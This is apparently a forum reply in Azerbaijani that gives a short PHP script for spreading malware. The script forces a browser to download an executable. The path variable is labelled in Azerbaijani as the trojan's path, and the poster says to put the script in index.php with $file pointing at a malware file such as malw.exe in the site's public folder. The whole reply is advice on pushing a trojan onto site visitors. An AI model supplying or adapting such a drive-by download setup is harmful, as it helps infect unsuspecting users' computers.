Bu tipli birşey istifadə edə bilərsən.
Kod:
<?php
$file = "/soxacagin/trojan/pathi";
if(file_exists($file)){
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private", false);
header("Content-Type: application/x-msdownload");
header("Content-Disposition: attachment; filename=\"". basename($file). "\"");
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($file));
ob_clean();
flush();
readfile($file);
}
?>
Amma yadda saxla ki, bu sadəcə yükləmək üçün prompt verəcək. Bunu götürüb index.php at məsəlçün. $file = "/home/user/public_html/tmp/malw.exe"; şəklində malware in pathı ver.